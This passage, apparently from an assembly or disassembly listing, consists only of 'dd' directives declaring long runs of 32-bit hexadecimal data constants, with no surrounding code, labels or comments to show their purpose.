0D0444F83h, 8A20EBABh, 1097C15h, 42998AAAh, 0F4CCACBAh dd 0FA7DB33h, 799F62FBh, 0E8EA1E0Bh, 196D9A7h, 3184124Ch dd 37D8AF80h, 8400517Fh, 0CBD8C428h, 0A163C0h, 81040D73h dd 3F7E80A9h, 8BBED6F1h, 1BC0E6ADh, 988F800Dh, 3574C6FEh dd 42B13A9Ch, 503A8D4Eh, 3184F7AFh, 12C02A61h, 0EC55478Ah dd 89E65F7Ch, 9E1196h, 0B75807D3h, 39514EE5h, 54545B26h dd 0A5DCA1B5h, 0E842D8E0h, 1B4FD626h, 0A4724CDEh, 7EAF5C85h dd 0D1DDE052h, 0B2FE9DC0h, 0D0C684F1h, 0CD4D9E8Ah, 8B2F605Ah dd 87C4A49Ch, 4E4A9DF8h, 60821208h, 0C5B958A0h, 8B4E5478h dd 48131306h, 62434A1Ch, 20CD5E39h, 11268246h, 0B1E981B2h dd 2A02660Fh, 8D9205D2h, 0DFB19406h, 0E08D0D0Fh, 9311F87Ah dd 642E43D9h, 0C0B20055h, 0E903BA40h, 9E8C0533h, 0D7F8E820h dd 0A65A4EFAh, 0FBB4A5F1h, 8896E70Eh, 6AD34474h, 58D1ED31h dd 61D2833h, 5D42DC57h, 0F9CC8BFCh, 2CCCE3B6h, 76EAC521h dd 0FF542911h, 19A1835Fh, 0C785840Bh, 0ABDA5317h, 238DF0EEh dd 0B12821C4h, 0FA6BDAB7h, 5FE07B9Fh, 0B4D4A0F2h, 199AC0D4h dd 0A757517Bh, 0D7E09542h, 29F6BFEh, 22A6F833h, 9F699CBh dd 9321605Ch, 1D4E83F0h, 31B8C622h, 95F1F5F3h, 0DC4F50EAh dd 0C4B5A8C3h, 2E941133h, 0EAC59C77h, 1399C5C5h, 8A6F3B0h dd 9313818Ah, 3940771Fh, 0A9368D01h, 831AF5CCh, 0E75D6049h dd 0B67F253Bh, 0E3D77E92h, 0D1240E8Fh, 41451F6Eh, 386788B3h dd 84772701h, 58631082h, 0EC1DD520h, 0F6F984BEh, 0A24B18E3h dd 652C1127h, 301173B9h, 5296DA92h, 5A861865h, 59B8FAE2h dd 11B80289h, 0F6741B8h, 175D5A4Ah, 0CA761113h, 0F332E04Ah dd 21A70030h, 0F1C257FEh, 6BCA96AAh, 6D0F732Ah, 455A3A4Ah dd 48A5A9FCh, 898C3601h, 0ADCF3790h, 1DA0A18h, 4F541751h dd 8038BC3Bh, 8C410A89h, 0F5ECB05Ah, 2C6C9BC1h, 68FC5D2Ah dd 4DBC17E5h, 0A0BD50C3h, 4830198Dh, 5ED7417Ah, 428CBEC5h dd 0C282A2Eh, 0D63FAAA3h, 8BA41575h, 0C6DC3904h, 5EC76955h dd 86701912h, 0BD0C969h, 0F5C44B33h, 798EA9C1h, 2375CD53h dd 9B197123h, 90AF4186h, 209B5953h, 42409156h, 8BA4DD6h dd 17569B6Bh, 0CA07F0BEh, 0E237809Ah, 1E130598h, 0C1E718A8h dd 0A6E380D2h, 3A9866AEh, 4B7418CEh, 0E891AE83h, 3D98AE68h dd 0AA32B8AAh, 8DF50BB2h, 0BF45C6AEh, 4DBF0531h, 0D8995521h dd 0D04808CAh, 60211986h, 0D494E021h, 84B19B4Bh, 55B89218h dd 9DB22B1Ah, 0FC7C6AF8h, 5E358269h, 3B33C2A7h, 33080F7Ch dd 93648AE0h, 0FBFC2B87h, 68F12CD0h, 90221C04h, 28080016h dd 4B024C11h, 1AE89504h, 26EB25C3h, 0C1BC76A5h, 2782D07Ah dd 8466AFA5h, 63F5BD45h, 83F35D8Fh, 79722B27h, 8AB7C3C0h dd 707EFB27h, 0B0B27874h, 57482BFAh, 0AAD54EF9h, 0EDCE94ACh dd 602B024Ch, 17A51490h, 3270CC6h, 0F09C7433h, 0D13D1095h dd 869F7E85h, 38FA0B39h, 7EFB3D50h, 0B27E5DFh, 0A108A1A4h dd 2CA8C017h, 58841944h, 0D3A10AD5h, 11A80DA3h, 0A9E352B5h dd 0C47E8992h, 0AA904264h, 2E571E92h, 2E02A03h, 0AE0A29A3h dd 8282F8E1h, 0F8C80F2Bh, 2B41FA6Dh, 0DE44E792h, 52824DB4h dd 820EFC4h, 224289F4h, 680221BCh, 95C10056h, 7B1E3584h dd 7A57415Bh, 37B44541h, 6211050Fh, 41ED4454h, 1C6195C1h dd 80EFC5A1h, 780912EDh, 0D8252004h, 40966E12h, 7050A84Bh dd 304D6125h, 0B166D2F5h, 4FE0F06Dh, 22C858F5h, 570508C2h dd 0DCD24712h, 45E075Ch, 4C0ED34Ch, 4C24828Ah, 88161C4Dh dd 0A0185A82h, 47C0D90Ch, 286DEE00h, 269892B8h, 570B9D3h dd 7DCA0614h, 635750DBh, 0EDF745C1h, 185C0505h, 3B3CE11Fh dd 2254A680h, 8957011Ah, 2577C4AAh, 141512B2h, 4CC8495Ch dd 6004D192h, 6F0A00CEh, 5057509h, 20E79557h, 0F97576A6h dd 0A444844Eh, 450D6ABBh, 0EBE15F0Fh, 0E9B1FEEEh, 0E31824B2h dd 9509BD8Bh, 0DD6098AFh, 0C9DE3BF9h, 0AE689888h, 8D3AC9D6h dd 2074150Ah, 0CC3AE1DDh, 171FBAFh, 0DEE00AC4h, 84B97C1Fh dd 0EC582AD9h, 5846DCA2h, 66EBB2AFh, 0C17E14C5h, 9D1F279Ch dd 0B8E30AD0h, 0D13AAB2Ah, 0B330361Bh, 0DC833738h, 43162A40h dd 0C95DC71Ah, 40D77AEBh, 41892B30h, 44614AC5h, 434CCB40h dd 6B915C03h, 8B2A242Fh, 8CE5382h, 0C463D58Eh, 4B575E3Eh dd 2174311Ah, 73F22562h, 0E4D2612Dh, 0ABD98A9Bh, 282828C4h dd 7C9C99D2h, 53725144h, 3CFAD251h, 0CC278CABh, 0B8BC149Ah dd 0F6FC2B26h, 0CE50D22h, 0E9DC0B27h, 0B45153CAh, 0A418B916h dd 93863CA9h, 39C03E82h, 1DFFC22Dh, 558B5641h, 25388084h dd 8E95F978h, 0C4426C04h, 14819CF0h, 1A09D78Dh, 48450BCFh dd 5E763B0Bh, 5B56CBDFh, 884A7F99h, 504C21EFh, 16084397h dd 0CBD73FFDh, 0C5950865h, 0E72E5E68h, 2B94CA04h, 47459953h dd 342A0AB3h, 4EF86028h, 0D2A9B366h, 0E572D74Eh, 837D9555h dd 0ACF5B859h, 0DE2DC9CAh, 1210D74Eh, 39ED567Ah, 0F6911E58h dd 44B3FAh, 8BC146ADh, 6383F690h, 78DE950Bh, 6D1D0149h dd 908DB246h, 939C85D6h, 676CE160h, 525AF952h, 0D5F2AA33h dd 0F6603914h, 7C6D5E6Dh, 7671C71h, 0CDCEFEE0h, 69F7C7Ah dd 0C4691EC8h, 49537B97h dd 0D237270Ah, 0A61A31E5h, 0BB826802h, 0EE96D954h, 51327027h dd 74119C29h, 0D454F3AEh, 384A4656h, 24E2C5A6h, 0AF123318h dd 962AC095h, 0D14C6668h, 0E6E28B10h, 0D7E90085h, 8AC5BAD1h dd 40379566h, 9E9CFA67h, 983BACAEh, 24E6EC97h, 0E50D6988h dd 0C28CFA56h, 0B9895E61h, 0EAB4EAA7h, 0E62FC3D7h, 0E31B7A36h dd 0ACDAB60Eh, 5BB81DCDh, 20CB3E80h, 0D3BEF630h, 4410CE02h dd 588518D2h, 147C9462h, 73A6667Bh, 7EBBD1Ah, 8156627Ah dd 0F08AA1F6h, 0F4EE5E7Ah, 8B0B8D6h, 2121488h, 0A84D14F2h dd 0A88B4C07h, 52091E5Fh, 0D614BFh, 97FB3CEEh, 489622B2h dd 8D8BD501h, 0E0516F2Ah, 0A44B44CCh, 0D1EA365Dh, 5D28E4F6h dd 68DA8DD0h, 0ECA40E92h, 8346F299h, 0E08BA6D9h, 0C7415893h dd 2EA54391h, 0F43462A7h, 0EDD48C4Bh, 645D0638h, 2339F1A2h dd 658B910Ah, 94A2845Dh, 0FE3FA98Ch, 0E2D58EC3h, 4FD47B63h dd 0CE9B9663h, 8B659B93h, 0B0B61EF9h, 14466CE2h, 1353479Dh dd 3CD195h, 9D0F6CCCh, 80B8BF3Bh, 532A6D5Dh, 389CC2F4h dd 86408AFDh, 0B95850Eh, 52BDC54Ch, 0B9BC6B54h, 0D3B7583h dd 4E3427AEh, 0C1A9E35Fh, 0E9D3C068h, 86B4F503h, 0A089211Ah dd 2656467h, 9240758Fh, 30325999h, 0D51ACFAEh, 99F4A416h dd 0C5EB6BE8h, 56CB722h, 5833FA1h, 174A4C32h, 0BD38E0C8h dd 55AB00FCh, 89AD7CFh, 7C5AFD5Eh, 1FB54255h, 678CD91h dd 4168FFE5h, 0E414F55h, 0AA102230h, 0EC2DD50Ah, 4CC4DB90h dd 41E9D02Ch, 0A5CE3F68h, 8F0EA89Ch, 0B780AFB6h, 1F2DCD27h dd 0CA269EB5h, 0F106FE8Ch, 4C717D53h, 8836C5D4h, 8BC9039h dd 3B375EA8h, 0ACE0F730h, 70457884h, 0FF00C6AEh, 717B4140h dd 0BF1CB240h, 0B5E6E960h, 80A3C8A2h, 8DE6303Fh, 0A3C80860h dd 1DA314B5h, 47BFA551h, 0D04BC9A0h, 295BA378h, 0D2A22896h dd 4D400B43h, 10F8FC2Fh, 2FD7067Eh, 0BA7E7AE0h, 69E55920h dd 0E4ADB150h, 0B0AD84BCh, 7D7CC8ACh, 15B0DCACh, 0C85A58DFh dd 901594A0h, 0D7101921h, 7F8B8703h, 6A16C1D3h, 9780DA14h dd 20530930h, 68C8810h, 0AE1A3E4Dh, 6E412713h, 0B699A4FCh dd 983A3774h, 4896FD7h, 8E1877CBh, 9A275A4Ah, 0C52CF356h dd 863728D4h, 30405C5Eh, 2ABBCA75h, 0D28E8D52h, 4B8C3A05h dd 425AF734h, 0F5849B42h, 1054985Ah, 0F177A73Eh, 1908E58Ah dd 6F0F0C54h, 65026440h, 0AAC33C06h, 0ED456909h, 6DA3008Fh dd 0B04F5441h, 82290441h, 0D81309CFh, 0C8AB2907h, 83FCEE33h dd 8A9D6E27h, 5806A9B0h, 6B73D4C8h, 0CB190521h, 0D0406160h dd 315E9BADh, 1175640Ch, 1C62BB93h, 0ECFB6769h, 825160A1h dd 2DE7749h, 0C2CA533Eh, 8217624h, 4A24F7ABh, 0C811168Eh dd 8FA126FAh, 6CB4A0Eh, 0EFC4B9D6h, 21E6FCFFh, 415A81DFh dd 9FC6F5CDh, 48C14A0Fh, 0C08C0452h, 777A9D11h, 8F1062F1h dd 0E4B2E260h, 0B1C46CA0h, 662AC202h, 6F80193Eh, 2E97CE6Bh dd 0D46C807Ch, 583C7668h, 0A69B30B4h, 835AADFFh, 618BF8FAh dd 51505914h, 0B8054120h, 5E101EB4h, 95111BF4h, 0E4EE4828h dd 6077820Bh, 3409D170h, 0A2F86842h, 908308F5h, 48B09E45h dd 88F1A340h, 41BAE893h, 808058D3h, 958D820Bh, 215CAF9Ah dd 0A0ED55A9h, 1C559006h, 9A401D20h, 73FF56D3h, 367ECB00h dd 72B305A4h, 0F8172B67h, 0A461217h, 1001AC41h, 447D0052h dd 75B991C0h, 6D7E6392h, 9977B09Ch, 76CA6338h, 0A2654FCCh dd 3C13D1D3h, 54877BEEh, 2BDCB500h, 0C6EE378h, 9CC68CDCh dd 0C5A09B0h, 31A82E95h, 38DAA4B0h, 0A5425D68h, 890137F5h dd 0ED332177h, 25D90360h, 93FFACBDh, 2F96360Bh, 553834D8h dd 0B161050Eh, 57420010h, 5FB0F01Ch, 0F5B89500h, 6C5C2146h dd 0AD5ED05h, 0EB21F34h, 58983876h, 32E01A15h, 0BDA32438h dd 483A7C61h, 4EC13B05h, 0FF750DAFh, 64197A80h, 7037898Ch dd 0FD7154F8h, 2CDEE387h, 3C138198h, 1BB4D2CCh, 7489C833h dd 0BE05EFF7h, 18C82AB9h, 1482180h, 9F10411Fh, 0B72DE60Eh dd 0AEDBFFA8h, 0E08C4224h, 0DEB890A2h, 25518528h, 0FA28AE3Ch dd 8155DF0Ch, 2A24EAC6h, 0C912A954h, 0A2AEAD1Dh, 0DFF1E108h dd 25222B58h, 0DE56642Dh, 0A499EA9Dh, 0DC1815B2h, 0C4AEC64Bh dd 119AF03Fh, 12493B1h, 0CAED1AFDh, 9C2A10DFh, 0B3152EC6h dd 339652B9h, 0D189085Bh, 2A9A0EF6h, 8C2875E6h, 8946422Ah dd 0C9183ABAh, 0FEBDE5E2h, 1EEE0D28h, 3BE48593h, 8A773673h dd 8251616Ah, 0B7011DCAh, 99A8512Bh, 0E63E4574h, 0EE123CCAh dd 0D118721Ch, 6291AA72h, 8A2F7444h, 5742000Ch, 7B13DDE6h dd 38594D8Ch, 0C53002DCh, 3FFB4A13h, 3231165h, 18298C70h dd 586084Ah, 9E2D65D6h, 1A143C8Ah, 9F70D3F7h, 1ADBBA4Ah dd 0DEA20D1Dh, 7C16ADC5h, 8A307F12h, 21024619h, 650E1EF9h dd 0A1F4069Eh, 0C1C8A1FDh, 67692368h, 0D7D7E82Eh, 5F35F4C2h dd 515ACA92h, 186812A5h, 9B9476C6h, 0F5154115h, 25745F97h dd 6D4BB444h, 0A90FBDABh, 9C523A25h, 35A256DBh, 0A497160Ch dd 4EAFCBA7h, 61695A75h, 14FC8D9Eh, 0BBFA8B16h, 0A9AA8EEDh dd 59C4EB20h, 18310A19h, 6C7CC1DAh, 9E82B465h, 1883459h dd 411E0D58h, 0FAB8C006h, 0E2755749h, 29041D93h, 0A190E03Ch dd 0AD4DC0D3h, 0DD01288Ah, 94F41C0Ah, 2B23FB82h, 9D7E0BE3h dd 9A5029C4h, 2BF495E1h, 1B331F23h, 0B9EE6498h, 181B29E7h dd 6186431h, 0AC858930h, 0A8CF6308h, 0F28DE5AAh, 0C542C8D9h dd 424D9E1Fh, 0A09C7517h, 2153CB54h, 1BE482BCh, 0FC28BCBh dd 5A35EF8Fh, 133529BDh, 0F404303Bh, 0B3B3F22Ah, 3C6A6208h dd 3A347AE5h, 1F8500F0h, 650C00Eh, 109626Fh, 24C59211h dd 0DFE929C4h, 6C0F706Ah, 94A70D0Ch, 9A73042Bh, 3FE50E9Dh dd 0D4087DE7h, 202EEA8Ah, 6B0E2ADFh, 0ED619C63h, 0BE143124h dd 204A7C75h, 51BDFC5Fh, 2151B44Eh, 501D7526h, 0D866883Eh dd 168029B8h, 0AC41D588h, 1B90E0E0h, 0A4C8A483h, 83186211h dd 428CF3B8h, 11C002B2h, 816242E9h, 0B51AF098h, 0EABF72Eh dd 0D706733Dh, 5AA9E69Bh, 5FFDC581h, 0B413BB58h, 0BEAFADAh dd 51C54217h, 0E34AAC89h, 45D640DEh, 1155958h, 0B35016D0h dd 47F0982Eh, 535693C5h, 0FB5F29C6h, 356BCD1h, 3998DA51h dd 0C189AED8h, 986F9220h, 71D08866h, 3151A91Fh, 15E646FAh dd 945F381Ch, 6557282h, 337C050Fh, 0FC6269DAh, 1535C9B4h dd 32C2FE62h, 5C9B1078h, 40A8D0Bh, 5C616378h, 0E17B7AEEh dd 0E7DA28C0h, 158B6B15h, 17C8B07Ah, 20FAE1D2h, 4D3C1863h dd 165B341h, 1C9F2BE9h, 9C5A0D6Bh, 0D0B8D5D8h, 8C4068D0h dd 940585A0h, 3903AEA8h, 0B61EA88h, 2E5D3864h, 49420C4Bh dd 5C7826ECh, 0A8C4D814h, 81C3333Dh, 75DED9FBh, 4591F196h dd 5D6BC326h, 0C4576E04h, 0B1959AF5h, 0AD2143D3h, 98E0EFFAh dd 58ACA0Ch, 1107CEABh, 0ABB5ED90h, 690B0EBCh, 534B1D6Ah dd 3A16809Ah, 8AC3FFA0h, 0AA1C3F11h, 0FF3ED40h, 700B7C20h dd 970016E4h, 1050258Bh, 0FDF2EB7Ch, 2EB41838h, 238C2012h dd 0AA0ABE5Dh, 22961E86h, 5500F89Fh, 0CB51290Ah, 38EC9E7Fh dd 0CCE3896Ah, 23A2CE0Ch, 56783453h, 8363CD7Eh, 51F8D449h dd 93EB0431h, 0BECFA2FFh, 1F9591BCh, 0D9428229h, 1DC00451h dd 0C6E4997Eh, 3927853Ch, 4A40457h, 0E0749713h, 0AB4485Dh dd 23E1BE42h, 5A6CEED7h dd 0EA264EBFh, 0E4E2C140h, 1FCC4F16h, 1C26F91Ch, 7C18171Bh dd 2FC4CF03h, 98C197C3h, 58E5194Ch, 0C5A60F78h, 0EA2737ECh dd 7F6A772h, 4C8A62Eh, 0EB51628Ah, 14777381h, 0C41EBA0Eh dd 228FAE1Eh, 893B94DFh, 0EDAA3B94h, 6587A9A4h, 0B06AC92h dd 54D21785h, 5D8B663Ch, 0A37FA352h, 0F441292Bh, 520C67DDh dd 34B00505h, 49E9A09Dh, 8A43579Dh, 81CC82D5h, 0BF2C01E1h dd 0FB36FB65h, 84E4BD93h, 0BE74A610h, 0CEB0150Bh, 0D54A4ADh dd 4965BF4Bh, 1DA017C0h, 1BB8CDFDh, 0E4C1621Eh, 0F44C4E05h dd 0D92EFF07h, 2FFF0DB1h, 55BF7157h, 2BC65F0Eh, 0B1B1B865h dd 4885F86Ah, 3595D758h, 6A455260h, 6E825134h, 0CA14756Fh dd 3D14B42Ch, 5B592940h, 1C6B5146h, 0CD6B1A63h, 0D1709E50h dd 7BC85452h, 0C53D509Eh, 2798019Dh, 70F8D50Eh, 7BA834D2h dd 50536D0Ah, 9F4A66ADh, 0B10ABCE9h, 529184E8h, 7041785Ch dd 39AA0CFBh, 0B111F25Fh, 6FDDC22Eh, 8F14EAA4h, 8CBB64A6h dd 145765DEh, 1EC09141h, 5C286C2h, 5F7FDE2Fh, 0A68EA776h dd 0C2318C66h, 40B8DEBh, 2C052228h, 689C043Ah, 97F01C36h dd 0A6AEA4F4h, 87714619h, 14E48F45h, 0D914C7EBh, 0E0CF3809h dd 75A48D62h, 0CED49B15h, 540A1987h, 0D623B30Bh, 2901A0BCh dd 14BC8573h, 75730F9Bh, 0B3AD34DCh, 77728349h, 7A9545D3h dd 32FB96E8h, 75033D39h, 266E9662h, 0D2A003A3h, 4E2EA2FFh dd 39019788h, 4B9F14D3h, 8D3CA0E2h, 2FDDA92Fh, 745CB006h dd 0E0E7206Dh, 0FB124A54h, 44706307h, 0B5D4C870h, 50D4DA82h dd 13AD11B9h, 0FE400F2Fh, 42367446h, 4CEB51ECh, 37CD80BAh dd 0C4E80AE9h, 22F4188Bh, 750BAF30h, 0CC592251h, 74ECCD10h dd 28ADEC64h, 184D145Ch, 8BACA578h, 0C759D777h, 2556DF5Fh dd 0FE77A3F6h, 0AD7DD44Eh, 16504EE3h, 71D5A645h, 675A2049h dd 0D3ADE0C5h, 0F05AB650h, 75A5BB2h, 1AC2F41Dh, 0BC38FB73h dd 0B16C2FF8h, 76B91444h, 0FAA66A05h, 9644C76Eh, 0D589E517h dd 0EB63C541h, 0D64EF2BBh, 0EFC2645Eh, 55DD243Ch, 7C6514EDh dd 0A4CD85E9h, 29B296Bh, 977A7DA4h, 54E604C6h, 160A18A9h dd 6A19219Ah, 5C412117h, 0AFC54A38h, 98E0D16Bh, 51C49044h dd 48AB27F2h, 0ACC4F242h, 0B7FE95A5h, 510F14E1h, 7A0A0067h dd 0E54BA018h, 920613C8h, 0A43FFCC0h, 9F28019Eh, 6E267C62h dd 258F0832h, 0DADA7F61h, 4557B389h, 0BA8B50F5h, 8DA2F1D2h dd 1EA9F49h, 0CF43463Ah, 3AFF2E34h, 0AC703D85h, 0B2557162h dd 80A5BF80h, 30E874B0h, 0F0A4180Eh, 5B17D493h, 3D772997h dd 3E03F853h, 0CD978C55h, 8F0280FCh, 9A3A0482h, 0C8623338h dd 0CB1A03A0h, 75B0FF0Bh, 0AA91743Dh, 53266899h, 16F2680Dh dd 964B3605h, 52D9408h, 85BA514h, 0D0BC25A8h, 2158CB4Eh dd 0BD72169Bh, 0F996BAC5h, 5A1F138h, 0B5B950Bh, 0EE5A71C0h dd 0FD7062Ah, 80A2084h, 0A61B1610h, 0FDFA0091h, 0A9A6D00Ch dd 80BEE0C5h, 73095033h, 0D014C0DCh, 0B48D7B2Dh, 634A7CC8h dd 83183B4Ah, 7C08149h, 0BF020643h, 0BAF8234h, 218EE7EDh dd 0CC09238Ch, 0DD219AD0h, 80713CA9h, 0BFA40CDDh, 80B2FBFFh dd 0F9723017h, 0B7330D60h, 2E930198h, 0B1AA2478h, 5AF65020h dd 7B1982F0h, 0B2F6A297h, 59958452h, 7738F855h, 83BF28A0h dd 64255558h, 0B90C8B19h, 29BDDB75h, 4214E045h, 0C0B9478Eh dd 3236FC54h, 58F8C184h, 0C99696F3h, 80FA1C11h, 9E659441h dd 0AC95C604h, 600B5387h, 0A25F89DFh, 82032280h, 0FC281D0Dh dd 2E87559Eh, 8CE85ADh, 81A078C4h, 0A8319FAh, 7A06C632h dd 0CD81A33Ah, 0E133E29Bh, 810989CAh, 841A577Fh, 9E922D43h dd 0B7852C5Ah, 723FFBE9h, 0FCE2B468h, 188992D5h, 0AE0C4EE7h dd 0BBAC9A1Fh, 3E8C07B2h, 0C55C4436h, 422B573Ch, 0B9F0B9Dh dd 0C50F86B0h, 0ECF3F552h, 37E8FAE8h, 4078A01Ah, 8A165231h dd 90BADB7h, 0E74A622h, 1D4C7FC2h, 0B8C74B0Ah, 4A93BDF7h dd 9C46D1B4h, 0D30E45Fh, 56788AB1h, 5D75A8E3h, 0A60D1CBh dd 9088C865h, 0CE811D5Ah, 688EE288h, 9259E1A7h, 6B0473A7h dd 4536A198h, 19C5331Eh, 36151DD1h, 0B0F40506h, 5ECC5399h dd 0BE63FD9Bh, 1BFE262Dh, 90C8C2C5h, 57E0316Ch, 0EB6F1A7Ah dd 0AC8E9F8h, 6567C3BEh, 0D159C9CDh, 0C458010Bh, 0B007633Ch dd 1048B7D3h, 86BD6CB0h, 19361D95h, 96A44FA4h, 81D6688Ch dd 60D1F8B0h, 3369751Ch, 1C504289h, 4205D1D6h, 7316DC16h dd 806F1EB8h, 0FC50CA8Ch, 0E4BAD064h, 4A16607h, 0C18E28Bh dd 48E0434Ah, 3322C8B6h, 0AC8CD45h, 0C7110606h, 0A8AF1308h dd 218D4314h, 28A20DE7h, 6939E5h, 2F05FCA9h, 0F3B335BEh dd 0F370EE2Bh, 959112AAh, 8E53BC95h, 76FC8AE3h, 46FCA901h dd 0EA3C53F6h, 8BFFDB51h, 0B750C385h, 1CCB30E5h, 0BC168DD2h dd 2E63A38Ah, 0A5258DB8h, 297E04Dh, 4C16D292h, 0C5A93BACh dd 0FC72137h, 88D4E21Bh, 31425DC1h, 796982EBh, 274AF6C5h dd 918B0396h, 0B07EEFA3h, 0BA791CDh, 47A0183Dh, 8C86E259h dd 9EAE6099h, 0A38BDA14h, 4E25E17h, 6385AEF8h, 15FA8302h dd 47124988h, 760C90C2h, 1F2AC451h, 98CD9376h, 62BB95D1h dd 0D77001C3h, 0A49F9D48h, 0D86BC6E1h, 0B430A5FFh, 41217AEh dd 4599AFC5h, 99093AFCh, 0D28C724Fh, 0E94B17A3h, 0E0FD4990h dd 9617C8E1h, 93D11C2h, 19CF0F98h, 58C4852Ch, 4086F2F2h dd 8012C11Eh, 7C5DB7F8h, 3BA843E4h, 5BFBB128h, 0FA9BA718h dd 7B157CA7h, 0A8B9EB62h, 81957A83h, 39CA050Ch, 0CDD0C665h dd 60F839C7h, 0C03CFBDDh, 8FEFDBB9h, 5B42F417h, 0F28D3E38h dd 9F5ABD5h, 5B640258h, 0C6C276EAh, 9641568Dh, 0E2AADCC1h dd 0D6AAEBB7h, 5B75BC32h, 3A5734F2h, 0F876A461h, 5D314A21h dd 4EBA03F3h, 21DE3DA3h, 4383738h, 9DE80FACh, 12A344CDh dd 614D5DE5h, 30E3FE6h, 0ECA1B7E8h, 0EEB5E2F9h, 7BF545B8h dd 844666C7h, 0ABAF7186h, 4A6528F4h, 6DA49594h, 8273D255h dd 4ADE462h, 8578293h, 88137C4Ch, 5ED6BD91h, 6B142184h dd 316A71D3h, 9A924B86h, 3ECF8649h, 38BF566Eh, 0A3326CD1h dd 71058708h, 9F36407Dh, 0BC9801C7h, 80A83143h, 0D8C0211Dh dd 0E31AEDh, 81057EEFh, 97974A3h, 0B31260B5h, 92CE0Fh dd 2B42791Eh, 6A434D2h, 0E782055Ah, 0FED55A02h, 5CF2DEF6h dd 0A6893F2Bh, 2930C580h, 77891E4Eh, 404AD83h, 90D3A66Dh dd 0A40979EEh, 809496DFh, 0BC224730h, 750C612Ah, 79AA9886h dd 0D8B74B18h, 29CFA380h, 0FF287E0Bh, 37D9E93Bh, 96CEF5B3h dd 149C4402h, 0CCE78520h, 0A42634D1h, 44331C8Bh, 622CCCE0h dd 72E2A2DCh, 5D59044Ah, 26608F33h, 1B2412BDh, 0F770B3EEh dd 0FB6DCBA5h, 645FD5C1h, 19179D20h, 3C06E135h, 0E92A4BA5h dd 3FC16E05h, 0DBE7C0Fh, 0DC4ED203h, 0E82DEAA4h, 433221EFh dd 0EE93CE68h, 0E0F9C730h, 20F7E103h, 0F18A97B0h, 0D8B1AE96h dd 24D84297h, 7F0C1D2Fh, 16266FF1h, 0FBAB4D54h, 0D2BAA249h dd 3668A271h, 370A5598h, 8230255Ch, 0BB6CAFC7h, 3F1FC86Fh dd 0AE0E5F98h, 0A1467CA7h, 7D0CC4F4h, 0E1116368h, 0F965CC0Fh dd 0E90510C6h, 2D2880E2h, 51B2634Ah, 0CD4A6321h, 0C7A7ABF2h dd 0EFF3F31Ah, 0E117597Ch, 9BD015CCh, 0E8A9A2Ah, 0D43C5EF8h dd 0E6C51D91h, 1F6950F1h, 0AC632C6Bh, 22928B2Bh, 1A68F8C7h dd 31F49469h, 8CD5B172h dd 781F90A4h, 6BFFB83Eh, 2808AE5Bh, 0F6369E2Dh, 32CCF99h dd 0BD66169Fh, 1B7C118Ch, 18C33093h, 2A7A8FF4h, 603EC92Ah dd 3C9CF0ACh, 7C687DE0h, 0CDE4677Ch, 0BEDCCE82h, 975922A2h dd 0D3624229h, 8F93343h, 936CE339h, 0F356130Eh, 0F204CAE4h dd 9F180F9h, 9805C657h, 4FF5B81Dh, 1D631619h, 426114DDh dd 0A0D2782Dh, 0E18FE565h, 0CD5F8F3Bh, 942EEAC7h, 8F0363C7h dd 9CE49A32h, 0AD462130h, 44160494h, 0C5061B0Dh, 66F18D42h dd 1A5CE3B0h, 0A9C901B7h, 0E1F57A45h, 45C09442h, 0E4460C06h dd 6D1E8A5Eh, 0FB79B73Ch, 90451BBh, 0B377013Dh, 1E150EE2h dd 0FF1682CDh, 21650E23h, 6324D316h, 0ECAFC4E6h, 0F019D020h dd 7EBC19C5h, 0C5EDA200h, 88624F99h, 6235D5B8h, 7FA113ECh dd 0D4E645F8h, 3FBE8B8Dh, 92E96E47h, 0E0CE05B5h, 9F1006A3h dd 95BBC5EFh, 557D1587h, 96CB84CDh, 0F64209F0h, 2A1F22AAh dd 22976126h, 0C1CFF302h, 5D9050Dh, 8FC56C13h, 0FDFFF230h dd 549F5D81h, 0E5EB153Fh, 0DDAFAED3h, 54F7A091h, 2AEA58Eh dd 0FE55B58Bh, 85888E98h, 4F2AE8FEh, 1BEBAE1Bh, 0D5ADF9F3h dd 0D05B8848h, 0FD904478h, 0F07CAD85h, 4420BB68h, 7EE0D26Bh dd 0ECC2484Bh, 0DFC14E0Eh, 137D1243h, 0A0313D41h, 2B370B04h dd 1A1484Fh, 0EE0769C3h, 0ACDCDF74h, 6031C662h, 2BE4BBD7h dd 6985822Bh, 582D2F77h, 0D462D2AAh, 54271163h, 10A11F65h dd 56980B41h, 3A18A9B1h, 7C8C4F62h, 113F9A7Fh, 1208924Ch dd 760E5A22h, 0F16D08DEh, 2F5CD058h, 0F47A87CDh, 4496CED5h dd 0B86011CFh, 482DE946h, 5139FFA8h, 4FFC445Dh, 1E0C4614h dd 5DEFD9FDh, 0AA863555h, 0A32C12Bh, 0D22AC8E5h, 0D1F4F6E5h dd 6B47CBBBh, 0C9D1E351h, 5402F15Ch, 0F92A5CCCh, 0CC308ACAh dd 0FC3AB421h, 0A0FF2975h, 3E9C0633h, 87BB4438h, 88D96C1Ah dd 0F38050A1h, 8800A1F6h, 4095234Eh, 0E89FAD5Ah, 12AE7A60h dd 4ADE653Dh, 0D6E4895Fh, 922D5122h, 32D8B5Dh, 4B1C7EB8h dd 0DD229C14h, 18DD48B5h, 1353C4AEh, 9A3CB3FEh, 0BA2BA2B1h dd 10FA58E8h, 36806E47h, 4DC3310Fh, 0DBC12A97h, 0F2A5CCAFh dd 7E180899h, 3A2E64F0h, 0E8AA780Fh, 4A109B1Eh, 4E7089C9h dd 0F134C881h, 4EE8405Fh, 2BF8DF44h, 6D907F47h, 0CBA2D5AAh dd 0B977D58Ch, 0D5615780h, 3E02BA48h, 95F47455h, 3D8607D3h dd 15477126h, 7413B06h, 2E1084F8h, 57FBB1F4h, 0E153B45Ch dd 0EEB326D1h, 67079DF3h, 9675FBFh, 0A50DC188h, 80289190h dd 8A17CF4h, 61D6606h, 0A17AF250h, 0CEAE1BE0h, 18628549h dd 0A64DACC8h, 460F3D71h, 2D33D67Eh, 8503495Dh, 0F963DEC5h dd 8D3E0E51h, 666D2A63h, 81CD888Fh, 22B7337Dh, 0F645E514h dd 184C1D79h, 9DE02B80h, 3B85B9A4h, 0CB412281h, 901750FCh dd 1E641605h, 0EA1DE857h, 525C99F9h, 0A30FB1D1h, 0B8FD8E5Dh dd 73C44543h, 0C7C278ABh, 0AFEE115Dh, 0AEB5046h, 59FF7446h dd 8244F73h, 3C123154h, 0A5749305h, 7862083Ah, 59572B80h dd 4630FD18h, 7486AEB1h, 0E4101211h, 0E7A3BB20h, 6D8B1D38h dd 0E9C70A98h, 90D7877Fh, 0A87EDE31h, 20B8AE26h, 90ACA782h dd 0A08A5590h, 0AE35C4DFh, 74BC12E3h, 